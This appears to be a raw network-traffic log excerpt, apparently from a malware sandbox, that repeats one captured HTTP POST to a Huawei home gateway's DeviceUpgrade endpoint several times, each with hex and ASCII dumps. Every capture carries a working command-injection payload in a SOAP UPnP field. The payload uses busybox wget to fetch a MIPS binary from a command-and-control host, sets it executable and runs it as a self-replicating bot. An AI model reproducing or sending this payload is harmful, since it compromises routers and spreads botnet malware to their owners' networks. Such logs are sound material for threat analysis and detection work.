24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
